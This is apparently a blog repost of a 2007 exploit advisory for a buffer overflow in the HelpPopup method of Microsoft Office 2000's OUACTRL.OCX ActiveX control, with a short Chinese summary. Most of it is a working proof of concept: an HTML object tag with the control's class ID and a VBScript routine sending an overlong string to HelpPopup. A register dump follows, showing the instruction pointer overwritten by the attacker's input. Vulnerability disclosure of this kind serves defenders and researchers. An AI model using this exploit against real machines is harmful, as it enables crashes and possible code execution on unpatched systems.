Microsoft Office 2000 (OUACTRL.OCX v. 1.0.1.9) Remote DoS Exploit-优快云博客

本文介绍了一个存在于Microsoft Office 2000控件(OUACTRL.OCX v.1.0.1.9)中的远程缓冲区溢出漏洞及winhlp32.exe拒绝服务攻击。作者通过示例代码展示了如何触发HelpPopup方法导致的漏洞，并提供了详细的寄存器状态内容。

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<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/23</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------------------------------------
<b>Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow
and winhlp32.exe Denial of Service (hey, don't you think this is a very long title :)</b>

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

control is set as:
RegKey Safe for Script: True
RegKey Safe for Init: True
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<object classid='clsid:8936033C-4A50-11D1-98A4-00A0C90F27C6' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
buff = String(1000, "a")

test.HelpPopup buff, "default"
End Sub
</script>

Registers content:

EAX 00000000
ECX 7E39EC0C USER32.7E39EC0C
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 38CFD2D0 OUACTRL.38CFD2D0
ESP 01D0F434 UNICODE "aaaa..."
EBP 00610061
ESI 02ACC86C
EDI 00000000

EIP 00610061
</span></span>

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